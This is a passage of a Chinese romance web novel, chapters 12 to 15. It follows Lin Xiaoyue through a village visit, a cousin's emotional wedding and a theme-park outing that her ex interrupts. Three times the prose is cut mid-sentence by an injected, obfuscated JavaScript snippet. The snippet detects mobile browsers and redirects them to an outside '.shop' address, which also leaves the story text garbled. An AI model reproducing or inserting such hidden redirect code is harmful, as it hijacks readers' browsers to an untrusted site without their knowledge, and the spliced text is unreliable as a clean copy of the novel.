前面的吴女士闻声回头看了一眼:“喂羊的吧?她家不是挨着咱们老房子吗,养了好多羊,一会儿带你们去看看。” 再往前就没有明确的路了,地面全部被杂草覆盖着,坡度也变得很陡,林晓玥走得有些吃力,额头也冒出了汗。 “这里就是我的学校。” 到达山顶之后,吴女士指着山下一处操场,“现在已经重建了,当年上个雪还要翻山越岭,冬天的时候还有没过膝盖的大雪,真不容易啊。” 山的两边是完全不同的两幅画面。 他们要去的那个方向,山下是茂密的参天树林,不知道生长了多少年,村口竖着一块“天然林保护区”的牌子,树林外围有零散的几户房屋依山而建。 而山的那一边,是林立的楼房和宽阔的马路,和这里隔着一条宽阔的河。 林晓玥记得那条河,小时候想要去镇上,需要走过很长的一段吊桥,桥下是湍急的河水,吊桥晃晃悠悠,甚至有的地方桥板掉落,用树枝代替补上,走在上面总要担心自己会不会掉下去。 而现在,吊桥已经废弃了,不远处建起了坚固的水泥桥,连汽车都可以从上面过。 山顶微风吹过,吹干了林晓玥头上的汗。 “给。” 吴女士往林晓玥手中塞了什么东西,她低头一看,是一束桔梗花,紫色的花瓣向她盛开着。 “回去找个瓶子养起来,还能开好久。” 林晓玥轻轻攥着那束花往山下走。 下山的路轻松很多,直到快到山脚的时候,传来几声激烈的狗叫,伴随着铁链晃动的声音。 林晓玥下意识就往老林身后躲,她自小怕那些大狗,而山里几乎家家户户都会养一些看家护卫的土狗。 “快快快,快走,别惹它。” 林晓玥催促着老林,急得都快直接蹿到老林背上了。 “哎呀,没事,拴着呢。” 老林嘴上安慰着,脚下加快了步伐。 村口的马路修到了里面的足厚一户人家家门口,那只狗就是他们家养的。 林晓玥在路边看到了刚刚疾驰下山的那辆电动车,旁边的地上堆放着草垛,草垛后面是一片羊圈。 “咩~~~” “咩~~~” 看到有人靠近,所有的羊都向门口围过来,叫声整齐划一。 吴女士从一旁的草垛里抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993344|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几根新鲜的草,递给林晓玥:“喂它们这个。” 林晓玥接过那一把草:“还有点拉手。” 说着把草递到栅栏边,离得近的几只羊立马凑上来拽走了林晓玥手中的食物。 “还挺有劲儿。” 手中一下子就空了,林晓玥又从妈妈那里接过一把羊草,这次她专门挑了个小羊羔聚集的地方,把羊草伸进去。 “还要吗?” “不喂了,去摘樱桃吧!” 林晓玥拍了拍手上的残渣,还记得对江远尧的承诺,要给他带点特产回去。 老房子建在一座小土坡上,背靠着山,樱桃树就种在老房子里,那棵树从林晓玥记事起就在那了。 门口的地上长出了一朵向日葵,旁边是从围墙里伸出来的藤蔓,上面结着一颗碗口大的南瓜。 厚重的大铁门上挂着的“光荣之家”的牌子已经生锈了,连带着门上的铜锁也是锈迹斑斑。 推开门,院子里的杂草有半人高,淹没了原先的小路,院里的水井也早已经干涸,成为了一个摆设。 那樱桃树上的点点红色就成了一片破败之中的生机盎然。 已经有熟透的樱桃掉落在地上,被不知名的小鸟啄得只剩下核。 林晓玥拿出早就准备好的袋子,摘下树上的樱桃放进去。 “这样坐火车回去不会压烂吗?”吴女士有些担心。 “一会儿回去给你找几个打包盒,放里面就不怕压了。”老林灵机一动。 林晓玥转头向自己的老爹露出一个“还得是你”的表情。、 樱桃装了满满两袋子,回去的路上,夕阳把一家三口的影子拉得长长的。 第三天上午所有人都聚在新房里,有的人弯腰在楼梯上贴喜字,小小的红色的喜字贴在一级一级的台阶上。 而林晓玥则是在研究怎么组装气球。 “嘶……这个说明书就一张成品图啊,别的啥也没有。” 林晓玥把手中已经组装好的几根管子又重新拆下来,按照长短分组,然后重新接成不同的长度,“这样应该可以了,然后把气球插上去。” 砰!!! 旁边小朋友玩的气球不知道碰到了什么,被扎爆了,小孩子被吓了一跳,忘了哭,就呆呆看着手里的碎片。 气球里装了亮晶晶的彩粉,林晓玥离得最近,炸了她一身,怎么也擦不掉。 “没事,下午带你去镇里洗澡,还没在澡堂子搓过澡吧?” “没……” 自从尔滨火了以后,林晓玥一直想去东北感受一下搓澡文化,没想到在老家的小县城就能体验到。 林晓玥连午睡的时长都自动缩短了,抱着自己洗漱包满眼兴奋地跟在吴女士后面。 “把手牌戴好,别丢了。” 澡堂里面雾气腾腾的,分为淋浴区和桑拿区,旁边还有几张床,上面躺着白花花的人。 “就在这排队吧。” 吴女士和林晓玥各自站在一张床旁边,等着搓澡大姨把之前的塑料布掀开打包扔掉,再换上一张新的,接过一桶热水一泼,就服服帖帖地和搓澡床严丝合缝地合在了一起。 “来,上来。” 搓澡大姨换了一个崭新的搓澡巾套在手上,往身边的小床拍了拍。 林晓玥有些不好意思地往那里蹭了两步,然后小心翼翼躺在上面。 “阿姨你轻点,我不吃劲儿。” “好嘞。”大姨手中的力气不大,但技巧娴熟,几下就让人感觉自己神清气爽。 “翻个面儿。”大姨又拍了拍林晓玥的屁股。 林晓玥有些尴尬地翻过身,平躺着和大姨面对面。 “你瞅瞅这小姑娘还挺白净,没搓下多少灰。” 大姨照顾完每个细节之后,又用一桶热水把林晓玥浇干净。 “打个奶不?” “打一个吧。”旁边的吴女士替她回答道,话音刚落又看了她一眼,“你自己决定,也可以打别的,红酒硫磺芦荟,啥都有,你自己选。” 我自己选? “那我可以选两个吗?” “可以。” “那我要硫磺和牛奶!” “好嘞,躺好昂,我给你拿……” 13. 第 13 章 农村的婚礼是盛大的,这天天还没亮,林晓玥就被外面的脚步声和交谈声吵醒。这些人起得很早,又似乎彻夜未眠。 晨光熹微中,他们打着手电把门前小路铺上了红毯,红毯两侧立着气球,红毯的最前方,铺开两条长长的火红的鞭炮。 妈妈也早已经去帮忙了,房间里只剩林晓玥自己,她哈欠连天地洗漱完,这时太阳已经出来了,房间里有了亮光。 林晓玥坐在窗户边给自己画了个妆,还顺便编了个头发。 从这里的窗户往外看去,恰好可以看到对面的山,太阳就从那座山顶升起,山的后面是另一座她不熟悉的村子。 院子外面的人依旧忙碌着,林晓玥刚要出去看一看,卧室的门就被推开了,两个小姑娘蹦蹦跳跳跑过来,扑进她的怀里。 “小姨!” “小姨!给我编头发!” 是两个姐姐家的孩子。 “那你们坐好,带小皮筋儿了吗?” “带了。” 年纪小的那个外甥女摊开手,掌心躺着各种颜色的小皮筋,用力攥得有些变形。 “老实坐好,不许乱动哦!” 林晓玥转身又从包里拿出梳子,先把打结的头发疏通顺,又挑起三股头发编起了麻花辫。 刚编好一边,小朋友就坐不住了,脑袋开始左右乱晃。 林晓玥有些抓不住,手里的头发散开。 “别乱动,马上就好了。” “可是我的脖子有点累。” “我再快一点,你唱首歌,唱完我就编好了。” 林晓玥耐心哄道,“你最拿手的是什么歌呀?幼儿园老师最近教了什么?” “嗯……《你笑起来真好看》。” “那就唱这个吧,看看是我编得快,还是你唱得快。” 林晓玥加快了手上的动作。 还是小姑娘好哄,这要是换成小男孩,她真担心会现场来上一段社会摇。 “好了,下一位!” 另一个大一点的孩子乖巧地坐在小板凳上。 林晓玥一边给她梳头,一边感慨道,还是大孩子更听话昂。 “好了,玩去吧!” 林师傅收工了,把自己的装备收拾好后也跟着下了楼。 一楼此时此刻已经聚集了很多亲戚,有的是舅妈那边的人,林晓玥看着眼生,她环视了四周之后,决定坐在餐厅的圆桌旁,这里一圈都是自己人。 厨房中也有人忙碌起来,林晓玥之前从未听说过本家人要一起吃饺子的习俗,当然,她不姓吴,这锅饺子没有她的份儿。 接亲的车已经开出去了,余下的人胸口都别上了小红花在这里等待着。 大侄子有些无聊,于是凑到了林晓玥的身边:“小姑。” “嗯?” “要不咱们开一局?” 他掏出了手机在林晓玥眼前得意地晃了晃,“我爸开车出去了,管不到我。” “行!” 于是两个人趁着人多注意不到他们,躲在角落里相会王者峡谷。 “嘶……为啥都按着我打?” 林晓玥出师不利,“救命啊救命啊,我被围殴了!” 林晓玥端着手机呲牙咧嘴。 “小姑你等着,我去救你!” 大侄子就像那盖世英雄,驾着七彩祥云救下了奄奄一息的林晓玥。 “好险!残血。” 林晓玥还没反应过来,大侄子已经单枪匹马完成了五杀。 “漂亮!推了他!” 几人直奔老巢,捣毁了对方的水晶。 “赢了赢了赢了!” “耶!” 林晓玥爽快地和大侄子击掌。 “还玩吗?” 大侄子眼巴巴地看着她。 “不玩儿了,他们快回来了,咱们去抢红包!” 院子里也站满了人,全都在眺望着红毯的尽头,翘首以盼这个词在这一刻被具象化。 林晓玥去栅栏边揪了根黄瓜,回到月台站着,月台的栏杆被晒得有些发烫,林晓玥刚刚把靠在上面就嗷一嗓子缩回了手。 “你别在这站着了。” 这一嚎引起了吴女士的注意,“回头下车人多再把你挤下去。” “那我去哪?我也想要红包。” 林晓玥啃了口黄瓜问道。 吴女士转头打量了一眼,伸手一指:“你带小朋友们堵在房门后面。”、 “对,院子大门这里火力太大,你们顶不住。” 姐夫也在一旁附和道。 “行。” “快点回屋啊,他们已经过桥了。” 林晓玥带几个小孩儿回到客厅,客厅的门是玻璃的,视野很好,可以很好地观察到外面的情况。 他们把门栓插上的同时,外面响起了鞭炮声。 城市里已经许多年没有这样热闹的氛围了,林晓玥听到鞭炮声时一时间有些恍惚。 霎时间那条铺着红毯的小路上火光冲天,随即升腾起滚滚的烟雾,硝烟的味道顺着门缝钻了进来。 一辆顶着鲜花的黑色婚车从浓烟中驶出来,车还未停稳,车门便被打开了,新郎出来的瞬间,旁边等候多时的人拧动了手中的礼花炮。 亮闪闪的彩色碎片纷纷扬扬落在他们的头顶和肩上。 “来了来了,准备好!” 林晓玥和几个小辈们严阵以待,看着表哥抱着他的新娘拾级而上。 “开门!” 林晓玥把门轻轻打开了一条小缝:“红包拿来。” 吴庸的伴郎把红包塞进了门缝里。 林晓玥手指着身后的一众小跟班:“不够分啊,这么多孩子呢!” “快点的吧,你哥我快抱不动了。” 吴庸满头大汗已经有些脱妆了,一边调整着姿势不让新娘子掉下去,一边给伴郎使眼色继续塞红包。 “行了不我的大小姐?” 林晓玥把得到的红包分给小朋友们之后,打开了门。 表哥抱着新娘子一溜烟跑到了新房里,生怕晚一秒钟就把人掉在地上似的。 新娘的娘家人跟在后面,抱着大包小包的嫁妆,人群把林晓玥挤到了后排,林晓玥只好踮着脚看热闹。 “时间差不多了,先去饭店里等着吧。” 吴女士从人群中把林晓玥揪出来,“去跟你爸坐一辆车。” “那你呢?” “车不够,我第二趟过去。” 林晓玥坐在宴会厅里吃完一盘瓜子之后,看到了姗姗来迟的吴女士。 林晓玥向她招手,可妈妈仿佛没看到似的,坐到了另一桌,同桌的人看起来都是她的同辈。 婚礼仪式和林晓玥之前参加过的都大同小异,唯一不同的是新郎父亲的那把座椅是空的,舅妈穿着一袭西装坐在旁边,接受新人的敬茶。 林晓玥无意中瞥到吴女士,她的眼眶通红,眼睛里闪着光,一动不动盯着台上,此时的她也在替舅舅感到遗憾和欣慰吧,可惜舅舅本人无法见证今天的这一幕。 在林晓玥的印象里,舅舅像是家中的参天大树,而如今这棵大树轰然倒塌,从今以后,所有的风雨都落在了表哥的身上。 “下面是拍照环节,大家拍一张全家福。” 在司仪的主持下,一家人整整齐齐站好。 咔嚓! 摄影师按下快门之后,递上一幅画框,这是一幅手绘的全家福,上面赫然六口人。 大家的站位和画中的一样,唯一不的是,舅舅张开着翅膀站在所有人身后。 这是表嫂在表哥不知情的情况下准备的。 “我们现在看到新郎的情绪有些激动,我们给他一些时间平复一下心情。” 吴庸的眼泪在看到那幅画时夺眶而出,台下的人也忍不住落泪。 林晓玥看向妈妈,她已经泣不成声。 是我错了,林晓玥心想,爱你的人会以各种方式陪伴在你身边,就像从未离开过。 婚礼结束的很早,大家离开的行程都安排在了周三,于是周二这天,新婚夫妻在院子里为大家准备了烧烤。 烧烤架子是自己找人焊的,架在院子里的空地上,林晓玥看着新鲜,拿蒲扇坐在一旁煽火。 “烤熟了吗?” 表哥走过来蹲在一旁,捏起一把孜然均匀地洒在上面。 “你别占个地方添乱,让你哥坐那。” “哦……” 林晓玥放下蒲扇灰溜溜起身,躲在遮阳棚下面玩手机。 朋友圈更新了动态,林瑕液昨天把婚礼现场图发了上去,看到熟悉的头像,林晓玥有些烦躁。 【去参加婚礼了?】 嘶……这不是废话吗?墙上那么老大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993345|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜字看不见啊? 林晓玥默默翻了个白眼,又更新了一条朋友圈,配图是今天新鲜出炉的蓝天白云,青山绿水。 【环境真好,要不就不回去了吧?】 【你回老家了?】 贺知春的消息很快发了过来,一条接一条。 【我好久没回去了。】 【我昨天回国了,没有在你楼下等到你。】 【哪天回来?请你吃饭。】 呦呦呦,在国外和白月光吃大餐,回来请我吃麻辣烫吗? 林晓玥咬着嘴唇思索片刻后回复了一行冰冷的文字: 【回家结婚,不回去了。】 【别闹了,婚纱照上都不是你。】 (对方正在输入中……) 贺知春大概又重新翻看了那条朋友圈,看到林晓玥给吴念的回复:想早点成家。 【你不会真回去结婚了吧?】 听起来有些荒唐,但放在林晓玥身上又有些合理。 贺知春突然发觉事情有些失控。 【嗯,回头请柬发你,记得随份子,说好的八百。】 这是贺知春曾经的一句玩笑话,此时他有些后悔说过这样的话。 “跟谁聊天呢?笑得那么开心。” 吴女士递来一根烤好的肉串。 “啊?有吗?我逗傻子呢。” 林晓玥咬了一口肉,“嗯,真香,老哥手艺棒棒哒!” “爱吃啊?” “嗯!” 林晓玥连连点头。 “爱吃以后让你老公给你烤,资深吃货就要找个会做饭的老公。” “那是我不想找吗?这不是找不到么。唉……幸福就是和喜欢的人一起吃好多好多顿饭!” “可惜了,我认识的人都不太靠谱,不然介绍给你。” 林晓玥叹道:“我朋友们也是这样说的,感觉他们眼光比我还高。” “说明你在他们心里条件好。” “那有啥用啊。” 林晓玥又伸手要根肉串,“实在不行就养条狗算了。” “又在那胡说八道,宠物能和家人比吗?”吴女士就看不惯她这满不在乎的样子。 “也不是不行。” “没事儿,事缓则圆,看缘分,急不来。”吴庸打圆场道。 “嗯,不强求,再来一串!” “你可这能吃诶我的闺女!” 吴女士嘴上嫌弃着,手中又递给她两根刚烤好的肉串,顺带还有一串烤大蒜。 “我不吃蒜。”林晓玥满脸嫌弃。 “你尝尝,好吃。” 林晓玥将信将疑接过来,撕下已经焦黄的外皮尝了一口。 “香!” “还吃啊?” 回去的高铁上,林晓玥又打开了一盒酸奶。 “闲着也是闲着,助消化一下。啊……明天又要上班了……” 痛苦,比上学时还要痛苦,起码上学时请假不用为扣钱而肉疼。 车窗外连绵万里的青山在飞速倒退,直到穿过一个山洞,就像穿过了时空隧道,巍峨的高山不见了,变成了幢幢楼宇,宽广的河流也不见了,变成了川流不息的车马。 短短三四天,恍若隔世。 工作群不间断的提示音让人有些应激,林晓玥冷静片刻后打开了手机,在连着一排的红点中点开了江远尧的头像,猫猫头实在可爱得很突出。 【快到站了吗?有没有忘记我的特产?】 【那必须没忘,甚至还加了个冰袋保鲜,老沉了!】 【辛苦辛苦,作为回报,周末请你去星星游乐场好不好?】 太破费了也……林晓玥刚刚想拒绝,江远尧又发来了消息: 【老客户送的,也是他们公司的福利。】 行……我一直没舍得去的地方,人家一个两个都不要钱。 【不好意思忘了问,你这周末有时间吗?】 【有……吗?要等我确认一下家里和公司有没有事情,回去后联系你。】 【好。】 路途漫长,林晓玥不知道断断续续睡了多少觉,到站的时候天已经有些黑了。 左脚踏出车厢的一瞬间,热浪扑面而来,林晓玥感觉到自己的毛孔在迅速皱缩,仿佛下一秒脸蛋就会变成一颗干瘪的橘子。 “妈……我们要不回去吧?” 14. 第 14 章 【这周末应该是没有什么事,公司只有在月底会很忙。家里的事情也用不上我。】 【那好,那我周六早上去接你。】 林晓玥窝在自己的沙发里,嘴里叼着一根饼干。 【嗯……要不然咱们坐高铁去吧?开车会堵车,还不好停车。】 开车的油钱和高速费加起来,和车票也差不多了。 【况且……我觉得玩一天之后你应该会累得开不动车。】 【看不起谁呢?】 一句话激起了男人的胜负欲。 【不过为了你的人身安全,我决定采纳你的建议。】 疲劳驾驶不可取,江远尧只是嘴上逞强,实际上还是很谨慎的。 【那后天早上我接你去车站总可以吧?】 【这个可以有。】 最近发生的事情太多了,林晓玥也想好好放松一下。 出发的时候,林晓乐轻装简行,按照攻略食物只带了水杯和一包话梅——据说从过山车上下来的人,十有九晕,有备无患。 “早上好,您的专车已到达,很高兴为您服务。” 江远尧开着他的小白车来到楼下,向她摇下车窗打招呼,“我就不下车给你开门了昂,这里不让停车太久,快上来!” 林晓玥笑了笑打开车门钻进副驾。 “咳咳,今天我是您的专车司机,兼陪玩,小江。” “好的小江,出发吧!” “好嘞!” 游乐场九点半开园,根据路程倒推,他们买了早上六点半的火车票,六点刚好到车站。 “妈耶,比上班起得还早,一把年纪了还整特种兵之旅。” 林晓玥站在检票的队伍里,抹去眼角的泪水。 还好没有画太精致的妆,不然都哭花了。 “二等座?” 顺着购票信息找到了对应的座位,林晓玥把座椅调到合适的角度闭目养神,就听到了江远尧的疑问。 “对啊,二等座,怎么了?” 江远尧叹了口气:“我就说该我买车票的,想让你旅途舒服一点。” 不是大哥,你可能不太了解我的经济状况。 林晓玥有些尴尬地解释道:“其实我平时出门都坐二等座的,等等,不会是你坐不习惯吧?是我疏忽了,我现在去补票。 林晓玥话音刚落,江远尧已经叫来了乘务员。 “对,两个人,商务座还有空位置吗?升两张。” 林晓玥坐直了身子,一等座还不行,还要商务座,我的天老爷啊,你补你自己的就好了,自己属实没有必要多花两倍的票价啊啊啊! 几番欲言又止后,林晓玥跟在江远尧身后来到了另一个车厢,人少,安静,高端。 “怎么样?是不是比刚刚宽敞多了?” “是……” 毕竟一分价钱一分货。 临下曰陷在座椅里,琢磨着什么时候把路费A回去。 “几次追赶落日,这还是第一次在路上看到朝阳。” 江远尧指着窗外示意林晓玥去看,荒无人烟的平原上旭日东升。 “这画面还挺有诗意。” 林晓玥掏出手机拍了下来。 “嗯……技术还有待提升。” 出了火车站之后还需要乘地铁,从始发站到终点站,一上车就有座位,二人并排坐着,在车厢吵闹的环境中开辟出一片安静的空间。 “那个……你都喜欢什么项目?” 江远尧率先打破了沉默。 “嗯,好问题,那个5D的飞椅。” “哪个主题的?” “每个,哈哈。” “那行,那我们就先排队玩这两个。” 林晓玥把手机拿给江远尧看:“你看,有这种藏宝博主,会不定期在园区的角落里藏一些精致的小礼品,谁第一个发现就归谁所有。感觉这种寻宝游戏还挺有意思的。” 江远尧照着哪个博主的ID搜索了一下:“成,那我也关注一下,一会儿进去找一找。” “买雨衣吗?” 距离终点站还有两站地的时候,车厢里出现了拎着手提袋的商贩,“看水上表演会用到的雨衣。” “多少钱?” “十五一件。” 这么薄要十五?!我都能批发十个了。 林晓玥内心疯狂吐槽,拦住了正在打开付款码的江远尧。 “不用,我们不需要。” 待商贩走到下一节车厢之后,林晓玥打开了自己的背包。 “看!攻略不是白做的。” 林晓玥买的雨衣虽然也是一次性的,但质量甩刚刚那劣质产品几条街。 “到站啦!” 出站就是检票口,这里就已经开始在排队了。 早上刚刚下过一场雨,地面还是湿的。 “运气真好,今天阴天,不是很晒。” 尽管如此,林晓玥还是戴上了墨镜,她的眼睛畏光又畏风,前一阵哭伤了。 通过安检之后就到了度假区的范围内,四周是商铺和饭店,到处播放着欢快的主题音乐,让人不由自主地心情愉悦,连脚步都轻快起来。 “路边的花都是真花诶!” 林晓玥蹲在一旁拍照,“从来没见过这么好看的小花呢。” 蓝色的小小一朵,像星星一样洒了满地。 “来,你站那,我给你拍一张。” 江远尧示意林晓玥只能在大地球的地标下面,微风吹过,几缕碎发恰好挡住了林晓玥的眼睛。 “是不是没拍好?” “没有,很好看,非常自然!” “嗯,记得回去发给我,来我也给你拍一张。” 江远尧连连摆手拒绝:“别,我不上相。” “呐,过了这座桥,就到游乐场了。” 虽然一路上遇到的工作人员都在热情地向游客问好,但穿过那道门,才是真正的快乐天堂。 队伍已经排出了门洞下的长廊。 “咱们来的应该不算晚。” 比预计的时间提前了足足二十分钟,只是因为周末和暑假的缘故,客流量本来就很庞大。 事实证明,林晓玥说的是对的,距离开园还有一分钟的时候,身后的队伍已经延长到了广场上的花坛前。 “开门了开门了!” 人群开始缓慢地向前移动,通过检票闸机的人群在奋力奔跑,为了少排几分钟的队。 林晓玥最初也跟随大家的脚步,只是几步过后…… “哎呀,我不行了!” 她弯着腰大口喘着粗气,自从大学毕业后,也就是赶公交的时候百米冲刺过。 “这人上了岁数体力是不行哈。” 林晓玥放慢了脚步,斩头看到江远尧连汗都没有出。 “喝口水,小口喝。” “谢了。” “我们先去哪个?” 尽管大部队的方向很一致,但林晓玥最想玩的项目和他们一样,避不开排队的命运。 “那里!先去城堡。” 不远处的城堡塔尖大概是园区里最高的建筑。 排队的区域分为几个部分,辗转过树林、种植室后,他们来到了古堡的大门前。 门洞里漆黑幽深,迎面吹来了凉爽的风! 终于凉快了! 林晓玥把扇风的帽子重新戴回了头上。 门口的金色巨大雕像,拍一张,沿途的幽灵武士,拍一张,每个人都在趁着排队的间隙打卡。 “哇你看那些照片和电影里的一样会动诶!” “啊房顶好高,满墙都是相框。” “这是校长的办公室。”林晓玥转头向江远尧介绍道,“和电影里的也一样,这个冥想盆可以盛放记忆,回到已经经历过的过去,嗯……清理脑容量的。” “嗯我懂了,移动硬盘。” “差不多这个意思吧。” “我去你看那个分院帽会说话!” 队伍终点处的橱柜高处,有一顶破旧而皱皱巴巴的帽子,表情随着嘴上的动作而浮动,像一个皱缩的南瓜,口中念叨着一遍又一遍的注意事项。 “小心!” 地上的履带有条不紊地运转着,需要跨越这里来到乘坐区,江远尧扶着林晓玥,有一种平地划旱船的感觉。 工作人员上前检查他们的安全带是否系牢后,座椅向入口驶去。 穿过时空隧道,来到神奇的魔法世界…… “好玩吗?” “好玩,就是时间太短,诶我包在哪个柜子来着?” 出口处的存包柜竟然和存包时的位置不一样,这也太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993346|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神奇了。 “我记得是这个柜子号?” “好像是吧,刷脸试试。”林晓玥站在摄像头前。 砰! 右脚边的一个柜门弹开,里面是她的背包。 出口处是主题商店,里面是和这个园区主体相关的周边产品。 “喜欢哪个?送你。” “不了不了,今天已经让你破费太多了。” 林晓玥连连摆手拒绝。 而江远尧的笑容有些淡去,他叹了口气有些苦恼道:“唉,总是这样拒人于千里之外,我都不知懂该如何下手追你了。” “你完全值得理所当然接受别人对你的好……” 曾经自己说过的话复现在自己耳边。 “啊……我尽量,我努力!” 林晓玥尬笑了一通岔开话题,“你看那个博主更新了,他这次藏的是一个……钥匙扣?” 林晓玥指了指身边的货架:“好像就是这个,我们去找这个吧,你找到可以送给我。” 江远尧接过手机放大看了看:“我们过来的时候没有看到这个地方,继续往前走吧,边玩边找。” “行,那我们快点去下一站,GOGOGO!” 照片上不是只有草地这种没有辨识度的环境,多少还是有一些细节的,比如右上角出现了一截疑似恐龙尾巴的东西。 从第二个项目出来之后,林晓玥绕着那个园区找了一圈也没看到类似的恐龙雕塑,于是又认真研究了一下藏宝图,目前还没有人找到。 “等等,我咋瞅着像是蛇?” 江远尧的一番话醍醐灌顶,都是绿色的尾巴,怎么就不能是蛇呢? “那我知道了!” 有蛇元素的园区有两个,他们第一个项目所在的地方有黑色的巨蛇元素,但多以图腾的形式出现,至于这种青色的小蛇雕塑,应该是在最北边的另一个园区。 整座游乐场太大了,目前为止林晓玥的微信步数已经到达了五位数,但她对于寻宝这件事还是乐在其中。 这是一座完全处于室内的园区,都是一些儿童友好类项目。不过……里面灯光昏暗,努力布置的中国风元素在各色的昏暗灯光下显得别具一番诡异的气氛,不过凉快是真凉快,兼具心理和生理上降温的双重功效。 那些主题中的动物雕塑在另一扇门后面的露台草坪上,需要穿过整座园区。 “来都来了,我看旋转木马这里排队的人不多,要不玩一圈?”江远尧指着入口处的显示屏,上面写着:预计排队时间:5分钟。 这是系统根据排队人数推算的大致时间,大概也就是等这一轮游客下来他们就可以玩儿。 “好呀!” 江远尧将林晓玥护在身前,入口开放的时候,她径直走向了大熊猫模样的座椅。 他正要跨上林晓玥身边的老虎座椅的时候,一个小朋友扑在了上面:“我想做这个!” 那好吧,江远尧叹了口气,走到了林晓玥身后坐下。 “请大家再次检查好自己的安全带是否系好,我们的旅途要开始了!” 随着一阵铃声响起,木马缓缓转动起来。 林晓玥双手握着扶杆,突然转身向身后看过来,江远尧拿手机的手险些有些不稳,画面中的背影突然变成了一张笑脸。 江远尧也被她感染到,嘴角不禁上扬起来。 看到他在拍自己,林晓玥伸出右手在脸旁比了个耶。 “抓好!别掉下来!” 林晓玥又转回身紧紧抓着扶杆,江远尧顿时有些后悔自己刚刚脱口而出的话。 从另一端出来时,林晓玥一眼就看到了照片中那座雕像的全身,激动地喊道:“你看!” 随即意识到自己的音量有些大,声音小了些:“就是那个。” 林晓玥小跑到那片草丛边翻找着。 “没有啊……这么快就被别人拿走了?” 这时身边递来一只手,掌心摊开,是那枚钥匙扣。 “还是你厉害,这个就当你送我的礼物了,这样也不会很破费。” 林晓玥拿过那枚钥匙扣,在阳光下端详着它从不同角度反射出的色彩。 “好,还喜欢什么?” 这个声音……林晓玥猛然抬头,清瘦的身影逆光站在眼前。 “怎么是你?” 15. 第 15 章 “你来干嘛?” 林晓玥把手缩回来有些不悦,视线越过贺知春向他身后看去,并没有看到传说中的沈青青的身影。 一个大男人闲得没事自己来游乐场? “抱歉,让你久等了。”贺知春一脸歉意。 不是,兄弟,我没等你啊,我有伴儿的啊。 林晓玥转过身,江远尧恰好上前,横在了她和贺知春中间,面带礼貌微笑道:“不好意思,她今天是我邀请来的,我不太希望我们愉快的旅途中有闲杂人等参与。” 贺知春半步也没有退让,也没有理会江远尧,而是越过他向林晓玥道歉:“本来答应你上周带你来的,结果有时耽搁了。这样,今天想玩什么我都陪你。” 林晓玥冷哼一声:“你怎么知道我今天在这?” 出来玩这件事没几个人知道,林晓玥还没来得及发朋友圈。 “我猜的,咱们之间还是存在心灵感应的。” 听听,这是什么屁话?两年不见,此人愈发不要脸了。 “行,那你跟着吧,拎包拿水跑腿掏钱,你、全、包!” 既然送上门来,就别怪林晓玥毫不客气地使唤他了,直接把双肩包甩到他怀里。 贺知春很自然地把包背在肩上,还行,一点也不沉。 而江远尧经过他身旁的时候投来意味不明的眼神,贺知春单纯又无辜地向他微笑示意,换来一记白眼。 “嘿!”贺知春轻笑一声,暗自庆幸自己得到情报就赶过来了,这小子绝对深藏不露,扮猪吃老虎,装什么纯情小白兔呢? 有我在看你怎么表演。 林晓玥本来不敢玩那个最大的过山车,站在下面的时候都可以听到上面破碎的尖叫声。 “听说这个已经减速过好几回了,最开始的时候,人已经出去了,魂儿还留在原地呢。” “预计排队时间十分钟,这么热门的项目,人这么少?” “不是人少,是周期短,一趟下来也就一分钟。” 说话间又一车人被弹射出来,飞过他们头顶的时候响起一片整齐的尖叫声。 “这个?你确定要玩儿?” 贺知春知道林晓玥之前做的攻略,这个过山车不在她的计划之内。 “你不敢就不要说别人昂。” 林晓玥背着手走在前面,“小江,我们去排队,那谁,你在下面看包。” “说得跟谁玩不起一样,等我,我去存包。” 贺知春快步走向存包处。 “要不然我们先去排队?外面还挺热的。” 江远尧体贴地给林晓玥扇风。 “别了,等会儿吧,不然他回来插队找我们再挨揍。” “就是不想让他跟上来。” “什么?” “没事,我说,玥玥你真善良。” “咳咳咳……” “咋了这是?”江远尧赶忙伸手帮林晓玥拍后背。 林晓玥猛咳几声后摆手示意江远尧停下,伸手抹掉眼角的眼泪。 “没事,被口水呛到了,有点不习惯你这样叫我,还是叫我小林吧!” “那好吧,小林同学。” “这是干什么呢?” 贺知春从存包处出来就看到江远尧的手刚好从林晓玥的肩膀上离开。 他上前隔在两人中间:“快走吧,一会儿人多了。” 随机扶着林晓玥的肩膀走到入口处排队,转身时用眼神警告江远尧离林晓玥远一点。 “别扒拉我!” 林晓玥拍掉肩膀上的手。 “呵。” 身后传来一声轻笑,是江远尧蔑视的眼神,半斤八两而已,神气什么呢。 队伍前进的速度很快,林晓玥紧张地吞着口水,本意是想看贺知春出糗,但这招属实有点伤敌一千自损八百了。 